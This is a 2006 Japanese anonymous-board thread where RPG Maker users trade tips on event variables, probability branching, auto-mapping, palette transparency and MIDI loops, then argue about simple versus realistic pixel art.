0345名前は開発中のものです。
2006/10/30(月) 09:16:50ID:eQN4OeVwどうやって目的の物だと特定して探し出せって言うんだろう?
XPにはデフォで動画ファイルを再生する機能が無いのも
そのスクリプトも完成した話自分はまだ聞いていないのも
適当な話じゃなく本当の事なんだけどな。
0346名前は開発中のものです。
2006/10/30(月) 19:29:57ID:Mg4COTtqとにかく、タイトル前に動画挟むのは無理なんですね。
皆さん有難うございました。
0347名前は開発中のものです。
2006/10/31(火) 14:04:22ID:sRWkiZ3TRPGツクール95のセーブデータ改造するツールって存在するのでしょうか?
する?、しない? どっち?
するのなら名前を教えて欲しい(ググっても見つからなかった)。
0348名前は開発中のものです。
2006/10/31(火) 16:18:33ID:LbNtx4uS0349名前は開発中のものです。
2006/10/31(火) 17:34:18ID:biQtYF+wキャラ動作指定みたいな手軽にはできませんか?
0350名前は開発中のものです。
2006/10/31(火) 17:45:12ID:zzk2rEMe止まってる奴を途中から足踏みとかならページ使う方が良いんじゃないの?
0351名前は開発中のものです。
2006/10/31(火) 21:22:49ID:bBU5JRLhキングーーーーーーーーーーーーーーーーーーーーーーーー!!!!!!
0352347
2006/10/31(火) 23:53:53ID:sRWkiZ3Tやはり無いのかな?
0353名前は開発中のものです。
2006/10/31(火) 23:59:45ID:786y5Exj0354名前は開発中のものです。
2006/11/01(水) 00:01:39ID:Id0xth01そのセーブデータを改変前のゲームにもっていけばいいんじゃない?
0355名前は開発中のものです。
2006/11/01(水) 17:56:14ID:NEQdDTXJVIP→流れが速い
ラウンコ→ツクール以外の雑談が多い
モナー→キャラがAAなので和む
ゲ製→流れが遅くて多少本格的
0356名前は開発中のものです。
2006/11/01(水) 18:54:25ID:TWPSCMEh皆の環境でエラーが出ないかどうかテストしてもらって良いですかね?
0357名前は開発中のものです。
2006/11/01(水) 18:56:41ID:j+jWtI8Fカヴァオの命に関わる冒険攻略ブログ
http://dc2sakai.exblog.jp/
0358名前は開発中のものです。
2006/11/02(木) 11:13:23ID:22YBZyeh0359名前は開発中のものです。
2006/11/02(木) 19:19:30ID:IXIsClhf効果音はなるんだけどなぁ。
Hmidi16ってのが悪さしてるって聞いた事あるけど、見当たらないし…
0360名前は開発中のものです。
2006/11/02(木) 23:59:14ID:wL/d42Ctタスクの中の音量を右クリしてボリュームコントロールを開く
(無ければコンパネ内のサウンドとオーディオデバイス→音量タブ→詳細設定)
その中の一番左のボリュームコントロールの音量を上げてみる
0361名前は開発中のものです。
2006/11/04(土) 00:23:53ID:BHIJ+AEx画像が上手くインポート出来ません・・・。
どうすればよろしいでしょうか?本当に困ってます。
どなたかご教授お願いいたします。
0362名前は開発中のものです。
2006/11/04(土) 01:10:42ID:XzkTR3Td○シミュレーション
0363名前は開発中のものです。
2006/11/04(土) 16:22:28ID:wwbWmQGC0364名前は開発中のものです。
2006/11/04(土) 17:06:37ID:wNrOLJTG0365名前は開発中のものです。
2006/11/04(土) 19:26:00ID:/YvM9M2j文章にランダムに主人公の名前を表示させようとしているのですが、
V[1]に主人公番号放り込んで\N[\V[1]]と入れても「不正な主人公」と表示され上手く動きません。
ヘルプには\N[\V[1]]で出来ると書いてるのに…バグだろうか?
0366名前は開発中のものです。
2006/11/04(土) 19:56:19ID:rpmF1jfm説明書の何処にも二重に制御文字が使えるとは書いていなかったような気がするけど。
0367名前は開発中のものです。
2006/11/04(土) 20:11:25ID:U4Jhqe/L0368名前は開発中のものです。
2006/11/04(土) 21:21:57ID:mtSPBb1g0369名前は開発中のものです。
2006/11/04(土) 21:26:34ID:rpmF1jfm5人しか居ないのに乱数が1〜10とか0が入ってるとかそういうの。
0370名前は開発中のものです。
2006/11/04(土) 22:51:00ID:ywYafwhN「シレン」とか「メガテン」みたいな、
一歩ごとに記録されるオートマッピングを作りたいのだけど、
実現するには「○○のダンジョンの一歩目〜」とかの変数を作成して、
一歩ごとに発生するイベントで管理するしか方法ない?
もっと少量の変数で済ませる方法はないものか…
0371名前は開発中のものです。
2006/11/04(土) 23:04:53ID:ywYafwhN>>370では、一つの変数に一歩の情報を記録するような書き方をしてしまったが
実際は一つの変数で一歩を担当するのではなく、
一つの変数で複数の歩数の情報を記録する方法を検討してみた
(例えば二進数で、(変数で使える6ケタ)*(±の2通り)=128通りの記録が可能)
その前提で、使う変数を減らせないかという質問。てか、相談。
0372名前は開発中のものです。
2006/11/05(日) 00:20:29ID:ssioNKKb0373365
2006/11/05(日) 00:52:54ID:4TrvQpBw2000VALUEの文章入力のヘルプには\N[\V[1]]ができるとはっきり書いてる。
>>369
V[1]=定数で\N[\V[1]]やってみましたがだめですた。つーわけで再現実験求む。
0374名前は開発中のものです。
2006/11/05(日) 01:03:37ID:X6qJgNyWとりあえず主人公数がV[1]=定数より多いか少ないか確認してくれ。
0375名前は開発中のものです。
2006/11/05(日) 01:23:49ID:nETkgFXshttp://pandoravote.net/snup/uploader/src/up5813.png
今、RPGツクールXP用のショボーンを描いてるんだけど、AとBどちらがいいだろうか?
Aは左右で陰影を変えているもの、Bは左右で陰影を変えていないもの。
0376ち ら し
2006/11/05(日) 04:24:21ID:FfjllFWb次のツクールでは
RGSSなんぞ捨てて、C#辺りをサポートしたほうがいいんじゃないかと思った
C++やJavaとは違って、実行環境にコンパイラが付属してるし、速度もそこそこ出るし…
#してくれないかな〜?じゃないのはもう随分ツクールに触ってないし、これからも多分触らないから。
0377名前は開発中のものです。
2006/11/05(日) 05:50:33ID:ThPe/oel・入れる数値が正しいか
・変数の番号を間違っていないか
・加算ではなく代入か
・主人公の最大数がおかしくないか
・乱数の範囲は正しいか
・代入しているのが、「○○の番号の変数」になっていないか
・ver1.51かどうか
・割れ物でなく正規品かどうか
0378名前は開発中のものです。
2006/11/05(日) 09:57:43ID:aTmiXnps実行環境にコンパイラがついて何の得が?
0379名前は開発中のものです。
2006/11/05(日) 13:37:01ID:zOwmI/0o0380名前は開発中のものです。
2006/11/05(日) 14:40:51ID:jjVdDwFd0381名前は開発中のものです。
2006/11/05(日) 18:09:35ID:GR2mCIKOお前は誰だ
0382名前は開発中のものです。
2006/11/05(日) 19:09:39ID:zOwmI/0o0383名前は開発中のものです。
2006/11/05(日) 19:15:08ID:58fIQk1v自己解決した。
382 :名前は開発中のものです。:2006/11/05(日) 19:09:39 ID:zOwmI/0o
2003でオープニングムービーを表示するにはどうすればいいでしょうか。
ID:zOwmI/0o
面白くないよ。全然。
0384名前は開発中のものです。
2006/11/05(日) 19:57:34ID:tyCWhx980385名前は開発中のものです。
2006/11/05(日) 21:22:01ID:jFAfdh60このスレで書かれている内容がさっぱり理解できん。
0386名前は開発中のものです。
2006/11/05(日) 21:32:44ID:tTEJfnfZその他真意がわからない書き込みが多いのも確かだと思う。
0387名前は開発中のものです。
2006/11/05(日) 22:07:21ID:FfjllFWb実行用のランタイム以外にコンパイラも個別にインストールしてください…なんてなるととっつきにくいだろ
コンパイラって何ですか?な人も多いだろうし
0388名前は開発中のものです。
2006/11/05(日) 22:32:47ID:VHKhYDknV[1]=0001番目の変数ということなら
×\N[\V[1]]
○\N[\V[0001]]
これでおkな筈
0389名前は開発中のものです。
2006/11/06(月) 01:25:53ID:zDFdAkBD個人的な思いつきgdgdアイディア。
自作戦闘作れない中級者未満だし
そもそも二進数なんて知りません。
・オートmapの方式二種類
選択肢 A:部屋ごとB:歩数ごと
1:ピクチャ(歩行map下半分隠すとか
ピクチャとピクチャあるいはパノラマと重ねる系じゃないとBは無理)
2:マップ移動式 イベント満杯で道を隠す
(これなの?ヘルドアー)
ともかく基本システムは完成してるらしく問題は座標かムツカシー
もうちょっと詳しいと楽なのにコモンとかアイテム番号とか
昔の復活の呪文みたいに名前で条件分岐とかそりゃ無理か
もし2なら、イベントIDを記憶させて、消せばいいわけでしょ。
その場合の効率的な記録法とか?
問題点をはっきりさせてくれれば誰か助けてくれると思うよ(甥
0390名前は開発中のものです。
2006/11/06(月) 01:37:50ID:zDFdAkBDつーか座標か妄想で初心忘れた
座標ね座標XY何を節約するのか変数の数か
スレ使ってごまんなさいねなんか
0391名前は開発中のものです。
2006/11/06(月) 05:01:02ID:DVAz3qsfhttp://gamdev.org/up/img/8049.zip
0392名前は開発中のものです。
2006/11/06(月) 18:24:55ID:J/sgOscc便利だった要素も追加して欲しいな。発売予定はあるんだろうか?
ピクチャの同時に使用できる枚数も自作戦闘派としては50以上、無制限で使わせて欲しい。
いや、RGSS使えば良い話なんだが一から全部RGSSで組む程の技術はないもんで(つд`
0393名前は開発中のものです。
2006/11/07(火) 00:34:48ID:vqqBqMssソース共有は行われているわけだし、その辺りは頑張ってとしかww
マウスとキーボードをとっかえひっかえ駆使しなきゃならんのでイベントからのスクリプト呼び出しが面倒…
マクロ機能やイベントテンプレート作成機能なんかがあると、その切り替え頻度が減っていい感じ
0394名前は開発中のものです。
2006/11/07(火) 09:32:41ID:Yz0a5JpI数字表示とかにピクチャ使うと50ではとても足りない。
0395名前は開発中のものです。
2006/11/07(火) 11:13:17ID:1/zCqBkC0396名前は開発中のものです。
2006/11/07(火) 12:49:59ID:vqqBqMss>十分
お前が十分でも他の人は(ry
そんなマイナーチェンジが次バージョンとして出るわけ無い
ほしいなら"2000への"改良要望としてメールしとけよ
それなら実現する可能性はある。
0397名前は開発中のものです。
2006/11/07(火) 13:09:43ID:wQGxZ4YI何をムキになってるんだかw
単に>>394は、自分の主観で凝り固まった妄想を書いてるだけだろ。
突っ込むんなら、チラシの裏に書け、とでも言えばいい話。
0398名前は開発中のものです。
2006/11/07(火) 13:16:39ID:ffjHqk1dもし出るとしても脳がそんな気の利いたことするかどうかは怪しいところだな…。
RGSSは組み始めると楽しくなるから頑張れ(`・ω・´)
ところでこのスレだったと思うんだが、かなり前に過去のツクールのBGM詰め合わせが投下されたことなかったっけ?
0399名前は開発中のものです。
2006/11/07(火) 14:44:36ID:BrC9DRTBあまりにも初歩的だからかググっても方法が見つからないです。
変数の乱数でそれらしきことは出来ましたが、使い勝手がかなり悪いです。
ヘルプも「確率」「%」などで検索したのですが・・・
0400名前は開発中のものです。
2006/11/07(火) 14:51:04ID:nZO1SqMA0401名前は開発中のものです。
2006/11/07(火) 15:02:56ID:F0KPAi41質問が抽象的で良く判らないね。
Aが46%、Bが32%、それ以外はCにしたい場合は、変数に乱数1〜100を代入して
条件分岐で変数が46以下の場合A、それ以外の場合でさらに分岐46+32=78以下はBそれ以外はC
みたいな具合だけどこれで使い勝手が悪いなら2000はどうしようもないんじゃないかね?
0402名前は開発中のものです。
2006/11/07(火) 15:54:05ID:U1/ivZia0403名前は開発中のものです。
2006/11/07(火) 16:18:07ID:ffjHqk1dごめん、俺もよく分からん文章だと思った
0404名前は開発中のものです。
2006/11/07(火) 16:26:11ID:BrC9DRTB三百個ほど同じイベントをコピーして、それぞれ確率によって動作させたいのですが、
コピーした同じ変数だと「それぞれ」がそれぞれの確率にならなくなってしまうので
>>401
そうなんですか
「確率分岐」はどこかにあって見落としてるだけだと思ってました
ありがとうございました
0405名前は開発中のものです。
2006/11/07(火) 23:27:57ID:ZWQqi3Bu変数1にはランダムな値が入る(例えば1〜10の間の値)
変数2にはランダムな値が入る
〜
変数300にはランダムな値が入る
イベント1は変数1の値をもとに動作する(例えば変数1が'0'の場合↑に移動、'1'の場合↓に移動)
イベント2は変数2の値をもとに動作する
〜
イベント300は変数300の値をもとに動作する
イベント2から300はイベント1をコピペして作りたいが、それだともとになる変数が一緒になってしまう
もとになる変数の番号を修正するのがすごく大変だ!
ってこと?
0406名前は開発中のものです。
2006/11/07(火) 23:42:34ID:BrC9DRTB「確率分岐」がどこかにあるだろうと思いこんでたんでよく分からない文章になったみたいです
マップデータなんかをテキストに出力できたら置換したりできるんですけどね
まあ無理みたいです
0407名前は開発中のものです。
2006/11/08(水) 03:01:38ID:uKh5mfnG0408名前は開発中のものです。
2006/11/08(水) 09:00:41ID:sK/+b2fn全コピーでいけるんじゃない?
>>406
300個のイベントは動作指定だけにして、
それとは別に、変数管理のイベントを作って以下のように組む。
変数400に1加算
変数400の番号の変数(この場合、変数1)に乱数1〜100代入
変数400に1加算
変数400の番号の変数(この場合、変数2)に乱数1〜100代入
…
変数400に1加算
変数400の番号の変数(この場合、変数300)に乱数1〜100代入
300個のイベントの方は、>>405の組み方しか思いつかないから
300個分の修正が必要だろうけど、少しは作業量が減ると思う。
あと、ツクールの補助ソフト配布してるサイトで
そういう反復作業を自動でやってくれるソフトがあったような…。
曖昧だから間違ってたらごめん。
0409名前は開発中のものです。
2006/11/08(水) 13:14:26ID:+0ubRORKマップに入ったら順番にイベント処理してそれぞれ呼び出しして
乱数処理したらソレにあわせてフラグ立てる
って形式なら乱数の器は1個でいいけど、
その分フラグ(変数でも可)がやっぱイベント分必要になるけど
0410名前は開発中のものです。
2006/11/08(水) 17:17:16ID:uKh5mfnG分岐に確率を使いたいだけなら、
分岐の直前に変数に乱数を入れればいいだけだから、
別にコピペで同じ変数でもかまわね。確率分岐とやらがあるのと一緒。
で、それがダメなんだべ?
つーことは、いずれにしろイベントそれぞれに別々の変数が必要なんだから、
確率分岐とやらがあっても同じことだと思うのだけど。
0411名前は開発中のものです。
2006/11/08(水) 17:56:20ID:slGYAWkcどうも
変えるところが少なくなりましたね
ソフト探してみます
見つかったらやってみます
わざわざ詳しくありがとうございました
>>409
それぞれが一定の確率で動く中で、
確率を読んで少しでも有利な方向に向かうようなイベントを作りたいと思っています
なかなか大変そうですね
ありがとうございます
>>407>>410
同じ変数では駄目で、
それぞれ独立して動く同じ確率の分岐が欲しいということはつまり、
同時に動かすこともあるということです
確率分岐が有ればオッケーです
はい
0412名前は開発中のものです。
2006/11/08(水) 18:18:51ID:C1KjQWi8数字の表示ってどうすればいいの?
文章の表示で\Vでやろうとしたら
数値によって表示される位置が微妙に変わってしまいます
0413名前は開発中のものです。
2006/11/08(水) 20:35:38ID:auCClwpY説明受けても意味わからん。
共通処理には出来ると思うけど
もっとちゃんとした仕様が分からないとなんとも
つかそもそも確立分岐ってナニ?
確立で分岐させるってことならそれこそ工夫が足りないだけだと思うけど
0414名前は開発中のものです。
2006/11/08(水) 20:42:08ID:St2m4ycs見た目が数字のキャラクタを乗せれば良いと思うよ。
各ステータスを桁ごとに算出してそれぞれ変数代入して、
対応する変数を持つ数字キャラクタを、表示位置を調節して配置。
まだ体験版を数日やっただけの脳内ツクラーですが。
0416名前は開発中のものです。
2006/11/08(水) 21:47:32ID:uKh5mfnG変数への乱数代入が分岐の直前でも?
ツクールのイベントの並列処理がどうなっているのかわからないけど、
大丈夫なんじゃないかと思うけどなぁ?
とりあえず、2イベント(キャラ)を並列実行で、
同じ変数に違う値を代入しつつ、その変数で分岐して、
違う動作させる(主人公への近寄るのと逃げるの)というのは成功したよ。
ここまでは確率分岐とやらがあっても同じだと思うんだけど、
なにが違うのだろう?
確かに、そもそも確率分岐ってナニ? って感じだ。
0417名前は開発中のものです。
2006/11/08(水) 22:26:26ID:gfUw6UCJだいぶ参考になった。
2の方法が楽そうなのでそっちでやってみる
どうやって変数に取得した座標を、実際のマッピングに反映させるのかで迷っていたんだ
イベント満杯の状態から、歩いた場所のイベントを消していくってのは思いつかなかった
ヘルドアーってのがよく分からないけど、とにかくありがとう
0418名前は開発中のものです。
2006/11/08(水) 22:43:03ID:sK/+b2fn今ある条件分岐に【確立】の項目が増えて、
そこで【5%:15%:30%:50%】とか数値を設定したら
それだけで分岐するって感じ。
これなら変数使わないから、コピーで済むんじゃない?
0419名前は開発中のものです。
2006/11/08(水) 22:54:19ID:C1KjQWi8数字作ってみた・・・
でも数字と数字の感覚が広くなりすぎちゃうんだけど・・・
それはRPGツクールでは仕方ないのかな・・・
0420名前は開発中のものです。
2006/11/08(水) 22:57:34ID:C1KjQWi8数字自体を大きくすればいいのか!!
スレ汚しすまんかった
>>414さんありがとう
0421名前は開発中のものです。
2006/11/08(水) 23:01:06ID:sK/+b2fn今のままでも普通にコピーでいけるのか
0422名前は開発中のものです。
2006/11/09(木) 00:09:53ID:ybmkgsWeYADOでぐぐれ
あとはそこ見て勉強しる
0423名前は開発中のものです。
2006/11/09(木) 02:54:46ID:qGF3HnG0神サイト紹介サンクス
勉強して出直します
0424名前は開発中のものです。
2006/11/09(木) 04:11:42ID:UQE9QW8M顔グラフィックをインポートした時に透過処理をしないようにしたい。
前は出来た気がしたけど、覚えてないし使用しない色を0番目に持っていくのも今さら出来ない。
顔グラフィックの一箇所に空白を用意して透過色を設定する手もあるけど。
・・・まぁ分かる方教えてくださいorz
0425名前は開発中のものです。
2006/11/09(木) 04:19:16ID:Y7NMqEe/一度RPG変換してパレット指定できる減色ツールで
0番目に別の色があるパレットを指定して減色すればOK。
0426名前は開発中のものです。
2006/11/09(木) 04:23:50ID:UQE9QW8M即レス有難うございます。どういうツールがあるか分かりませんが探してみます。
0427名前は開発中のものです。
2006/11/09(木) 04:29:55ID:Y7NMqEe/0428名前は開発中のものです。
2006/11/09(木) 04:35:57ID:UQE9QW8M良ければおススメのツール教えていただけませんか?
自分はEdge、padieを使ってみましたが出来ませんでした。
0429名前は開発中のものです。
2006/11/09(木) 04:43:29ID:Y7NMqEe/減色に関しては基本的にOPTPiX、パレットを弄るのはPhotoshopでやってる。
0430名前は開発中のものです。
2006/11/09(木) 04:48:36ID:UQE9QW8M情報どうもです!
そういやツクールシリーズってXP以降出てませんよね。
ツクール2000は解像度大きく出来たら・・・
0431名前は開発中のものです。
2006/11/09(木) 04:59:23ID:Y7NMqEe/グラフィックの色や解像度、透過処理がXP並みの2000がいいとか、全く逆の考えで
解像度は2000のままであれにRGSSのようなスクリプトを弄れるエディタが付けばいいとか、
XPの2000や2003にあった機能が省かれていないバージョンが欲しいとか様々。
エンターブレインは今のところ次を出す気がないからRGSSなんてものをつけたような気がする。
0432名前は開発中のものです。
2006/11/09(木) 06:40:55ID:u1AzCoCmEdgeでも出来るよ
保存の際にオプションの[背景色を透過する]にチェック入れればいい
0433名前は開発中のものです。
2006/11/09(木) 12:54:08ID:WF9BfjP+Edgeでパレットの場所の入れ替えは簡単にできますよ。
0434名前は開発中のものです。
2006/11/09(木) 14:35:32ID:UQE9QW8Mありがとうございます。
>>432
書き方が悪かったです、透過させるんじゃなく透過させたくないんです。顔グラとか・・・
>>433
パレットを入れ替えると塗り直しになりませんか?
0435名前は開発中のものです。
2006/11/09(木) 14:57:44ID:WF9BfjP+パレットの場所だけを入れ替える事ができるので、問題ないですよ。
パレットウィンドウの下のこんなボタンをクリックしてパレットを
移動すればパレットの色だけを移動できます。
/⌒\
■ ■←半分くらいまで赤い
0436名前は開発中のものです。
2006/11/09(木) 17:27:56ID:0ZJzxRFL0437名前は開発中のものです。
2006/11/09(木) 17:37:29ID:+s9GVb1f褒めてるのか貶してるのかわからん
「ツクールと出会って11年、今はPCプログラマーです」
みたいな人は結構多そう
0438名前は開発中のものです。
2006/11/09(木) 17:43:45ID:DM0g6y+h0439名前は開発中のものです。
2006/11/09(木) 17:50:47ID:0ZJzxRFL何だお前
0440名前は開発中のものです。
2006/11/09(木) 19:23:11ID:2Xx2oxuA0441名前は開発中のものです。
2006/11/09(木) 19:23:42ID:UQE9QW8Mサンクス
MIDIがループしないんだけど、コントロールチェンジに111を指定っていうのがよく分からない。
0442名前は開発中のものです。
2006/11/09(木) 19:46:40ID:/dXAgrFEスキルAがあったとして
スキルAを常に通常攻撃と同じ威力にするにはどう設定すればいいですか?
腕力Fや攻撃力Fや威力
0443名前は開発中のものです。
2006/11/09(木) 19:48:00ID:M6t/aycmそのままの意味。
ループさせたい所にコントロールチェンジの111番目を置けばいいだけ。
(コントロールチェンジ=ボリュームなら7番、テンポなら155番目のアレ)
0444名前は開発中のものです。
2006/11/09(木) 21:04:13ID:tae/hV1h0445名前は開発中のものです。
2006/11/09(木) 21:15:32ID:Rr8rEDaDもしくは、コマンドにダメージの処理ってのがありますが、属性防御を考慮して減算させたいのですが出来ますか?
0446名前は開発中のものです。
2006/11/09(木) 21:44:38ID:w5/nL/PIできますん
>>445
例えば数値分散0で、調べたい属性のついた定数100のダメージの攻撃を使って、
敵or味方に攻撃、でダメージの値を見るなり使う前後のHPの差を取って変数に代入。
それ以外では不可能。ダメージの処理は、自分で%の値を掛けて計算しろ。
0447名前は開発中のものです。
2006/11/09(木) 22:20:50ID:UQE9QW8Mありがとうございます。すぐに自己解決しました。(クレ厨になってたorz
0448名前は開発中のものです。
2006/11/10(金) 14:37:07ID:c1U21XNwこんなのあります。
http://zetubou.mine.nu/timer/file/bomber29792_h5.rar
0449442
2006/11/10(金) 15:05:55ID:yQLR8Up0つうか自己解決されるまえにとっとと答えろよ
0450名前は開発中のものです。
2006/11/10(金) 15:14:15ID:IXwVoGMyキミは出来る子だって信じてたからなにも言わなかったのに(´・ω・`)
0451名前は開発中のものです。
2006/11/10(金) 15:30:02ID:h6HSdrVOいゃ自己解決しようとする直前にクレクレになった俺は痛いorz
しかし画面のサイズはどうにかしたいな(できないけど
ツクールXP体験版をプレイしてみたけど、あの位の大きさじゃないと目がしぬ。
それにしてもXPは綺麗な画質だなぁ。問題は自分じゃそれ相応のグラフィック作れそうにないし
スペック高杉(?)。あと改めて思ったけど顔グラメーカーって凄いな。
0452名前は開発中のものです。
2006/11/10(金) 15:50:39ID:lXvBmwRwツクXPのRTPやFSMみたいなリアル風のドット絵のこと?
スーファミの頃のスクウェアのドット絵とか、そういうの好きな人は多いね
DSの「きみのためなら死ねる」とか、PSPの「ロコロコ」は良かった
リアル風なドット絵なんて無理に使う必要ない
解像度が上がればラクガキ風の2D絵を扱いやすくなる
0453名前は開発中のものです。
2006/11/10(金) 19:44:41ID:P1xMIhMhどのあたりが?
0454名前は開発中のものです。
2006/11/10(金) 19:49:43ID:onFvfVIR0455名前は開発中のものです。
2006/11/10(金) 20:09:28ID:IXwVoGMyゲームの世界に住んでる人にはリアルなんじゃね?
つっか、揚げ足取りだろそれ。
>ツクXPのRTPやFSMみたいなホゲホゲラ風のドット絵のこと?
>スーファミの頃のスクウェアのドット絵とか、そういうの
>ホゲホゲラ風なドット絵なんて無理に使う必要ない
別に「リアル風」ってのがどんな意味でも通じるぜ。
0456名前は開発中のものです。
2006/11/10(金) 20:16:02ID:lswWcXGpこれいいね。RPGツクールXPって、ネット接続対応したゲームも作れるのか。
0457名前は開発中のものです。
2006/11/10(金) 21:37:24ID:yQLR8Up00458名前は開発中のものです。
2006/11/10(金) 22:44:02ID:P1xMIhMh0459名前は開発中のものです。
2006/11/10(金) 22:53:53ID:5+8gsLTZ何処がリアル風かでなく語彙の使い方が間違ってるからって言えばいいだけだろ?
RTPより精度が高く細かいって事だろう特にマップチップの話だと思うぞ、あと恐らくRTPより
色使いコントラストなどには数段高いリアリティがあるのは確かだろう。
荘う行ったものが好きな人が多いようだが、彼はもうちょっと原色っぽかったり簡単だったりする
コミカルと言うかおもちゃっぽい感じのドット絵が好きと言うだけだろう。
彼の「無理して使う事は無い」って言う言い方もやや押し付けがましいのは確かだが。
0460名前は開発中のものです。
2006/11/10(金) 23:04:02ID:rEqC77cjキャラセットしか頭に無い厨乙w
0461名前は開発中のものです。
2006/11/10(金) 23:07:23ID:IXwVoGMy「リアル風」って言ってるんだろね。
対照にきみしねやロコロコとか平面的な絵を持ってきてるところから考えると。
って風に相手の意図を読めないもんなのかね。
つか、ツッコミどころは別にあって、
ツクールのような2Dマップは奥行きアリが前提なんで、
(正面斜めからの見下ろしのデフォルメ)
奥行き表現ナシの平面な絵を使うとなると、
ちょっと考えなきゃイカン部分がでてくるんだけどな。
0462名前は開発中のものです。
2006/11/10(金) 23:16:39ID:B5nqwTR0もう少し斜めっぽい角度でなければ、リアルとはいえない。
0463名前は開発中のものです。
2006/11/10(金) 23:19:41ID:IXwVoGMy>452
0464名前は開発中のものです。
2006/11/10(金) 23:20:36ID:IXwVoGMy恥ずかし!
0465名前は開発中のものです。
2006/11/10(金) 23:51:40ID:P1xMIhMhキャラセットはあくまでも例
チップセットも同様に童話チックだろ…
ツク厨は全て詳細に書かなけりゃわからないのかな
つかベジェ使ったCGを比較対象にされて納得できるお前の頭がどうかしてる
0466名前は開発中のものです。
2006/11/11(土) 00:05:23ID:iNqRF3CT0467名前は開発中のものです。
2006/11/11(土) 00:06:48ID:Dz5zqUiLFSM以上にリアル志向なドット絵のツクール素材もあるけど、さほどあるわけじゃないだろ
非リアル志向ってのは、このスレの
http://game10.2ch.net/test/read.cgi/gameama/1147535375/l50
>>460
>>656
とか良い例だ
個人的にこういうの好きなんで他にもこのタイプの作品を知ってたら教えて欲しい
0468名前は開発中のものです。
2006/11/11(土) 00:10:59ID:Dz5zqUiL話を>>451に戻すと、
画質が綺麗でそれ相応のグラフィックが作れないだなんて思わずに、
きみしねとかみたいな単純なタッチの絵でも十分見栄えがいいんだから、手軽に挑戦しよう
ってことだな
0469名前は開発中のものです。
2006/11/11(土) 00:13:52ID:iNqRF3CT0470名前は開発中のものです。
2006/11/11(土) 00:15:56ID:at/mcnK1使ってる他人や他人がリアルに感じてるかを揶揄する必要も無いし、否定する必要も無い。
皆自分の意見に賛成するまでゴネ続けるのかいキミ達は?
0471名前は開発中のものです。
2006/11/11(土) 00:17:17ID:eyr/uaQC0472名前は開発中のものです。
2006/11/11(土) 00:19:41ID:iNqRF3CT誰に言ってんだ?
0473名前は開発中のものです。
2006/11/11(土) 00:20:29ID:Dz5zqUiLまあ話のネタは移るもんだし否定しないけど
というかまた別の話になってない?
気に食わなきゃ自分は使わなきゃいい、って何の話?
0474名前は開発中のものです。
2006/11/11(土) 00:24:27ID:iNqRF3CT「単純なタッチの絵を使え」と言うけど、そっちの方が難しいと思う。
シンプルなものって、難しいものだよ逆に。
複雑なものの方が、言葉は悪いがごまかしが効く。
ただ、選択肢として見失ってないか、という意味では同意だ。
そっちの方に才能が向いてて、いわゆるゲーム的なドット絵なんて描けません、
という人もいるからねぇ。
0475名前は開発中のものです。
2006/11/11(土) 00:45:58ID:Dz5zqUiL俺が言うシンプルなのって正直こんな程度だよ
でもこんなんでも、
RTPやフリー素材使った作品が並んでるより、
こういう各自それぞれが下手でもいいから自作してる作品が並んでるほうが絶対楽しいでしょ
スクショ見て回るだけでもかなり面白いと思うんだよね
0476名前は開発中のものです。
2006/11/11(土) 00:51:01ID:iNqRF3CTそれが見栄えいいかと言われると、どーかしら?
それが活きてくるように使われてるかどうかがわからんからね。
絶対楽しい、なんてことは少なくともないな。
否定はせんけど、個人的感覚を一般論にしすぎ。絶対て。
0477名前は開発中のものです。
2006/11/11(土) 00:56:45ID:Dz5zqUiL例として数秒で書きなぐった絵であって、実際はもっと手をかけるよ
(個人的には数秒で書きなぐる程度でも十分だと思ってるけど)
0478名前は開発中のものです。
2006/11/11(土) 00:59:17ID:iNqRF3CTえーっと、それそのものの出来の話はしてねーんだけど?
0479名前は開発中のものです。
2006/11/11(土) 01:05:45ID:eyr/uaQC子供はもう寝ろ。
0480名前は開発中のものです。
2006/11/11(土) 01:09:14ID:iNqRF3CT普通に会話を楽しんでるだけだが?
俺たち必死か?>ID:Dz5zqUiL
0481名前は開発中のものです。
2006/11/11(土) 01:13:11ID:Dz5zqUiLでも色んなのがあったほうがいいっしょ
ラクガキから実写風まで、幅広く
複雑なものよりも更に難易度が高い「シンプルな絵」でもいいけどさ
すっげえ簡単な「シンプルな絵」もアリでしょ
0482名前は開発中のものです。
2006/11/11(土) 01:20:50ID:Dz5zqUiL冷静に見返すと、なんか自分が「ラクガキしか描けないけどそれはそれで素晴らしいことなんだよ!」みたいな自己擁護してるようだ・・・
そういうわけじゃないんだよ・・・ほんと
サンプル素材とかフリー素材とか市販の2Dゲーに惑わされずに色んな表現しようよってことね
0483名前は開発中のものです。
2006/11/11(土) 01:21:58ID:6cXhcDKw前に実写取り込んでキャラチップにしてる人いたよね。出来が良い、面白いは別として、もっといろんなチャレンジ見たいよね。
RTPは飽きる!自作したらレベル低くなる!と嘆くぐらいなら。
ってお話をされてるんですよな?
0484名前は開発中のものです。
2006/11/11(土) 01:38:12ID:at/mcnK1そのあたりの妥協の仕方は大まかに2通りの意見を良く聞くよ。
下手でも自作オリジナルの方が良い、これは製作者に多い意見でプレイヤーでも作ることに
少なからず興味のあるような人間ややや変わった作品が好きな人に多い意見。
逆に下手な絵を並べるくらいならRTPやFSMの方が見栄えがするし絵を見るためのゲームじゃない、
絵を見せることも念頭なら尚更下手じゃ意味が無い、いっそのこと顔グラなんかも廃止して
見た目は極力シンプルにして内容で勝負した方が良いって意見も結構聞く。
自分がどっちだと思うかは自由だがそれを啓蒙してあるく必要は無いし、
定番素材がいやなら、落書きや雑音のような素材でも全部自作して作れば良い、
世の中にいろんな話を作りたい人間がいて、落書きよりは定番素材の方が自分の話の
テーマにそう人が多いのも事実だ、シリアスな話にそんな絵は使えないだろ?
0485名前は開発中のものです。
2006/11/11(土) 01:59:35ID:iNqRF3CTやあ「ラクガキしか書けないけどそれはそれで素晴らしい」ってのはその通りでしょ。
それは、それが十分に見栄えがいい、からではないし、
人が認めてくれるかどうかもわからないけれども。
0486名前は開発中のものです。
2006/11/11(土) 02:09:45ID:at/mcnK10487名前は開発中のものです。
2006/11/11(土) 02:19:06ID:iNqRF3CTそうだけど、誰か押しつけてる?
0488名前は開発中のものです。
2006/11/11(土) 02:26:09ID:at/mcnK10489名前は開発中のものです。
2006/11/11(土) 02:30:28ID:iNqRF3CTつーか啓蒙が押しつけだなんて初めて知った。
0490名前は開発中のものです。
2006/11/11(土) 02:40:19ID:at/mcnK1完全に考え方の押し付けだよ。
0491名前は開発中のものです。
2006/11/11(土) 06:03:14ID:yjFbSlNvそんなに顔を真っ赤にして、恥ずかしくないのかよwww
0492名前は開発中のものです。
2006/11/11(土) 06:33:43ID:Y2ydN8xB>普通に会話を楽しんでるだけだが?
楽しみたいなら他所でやれ
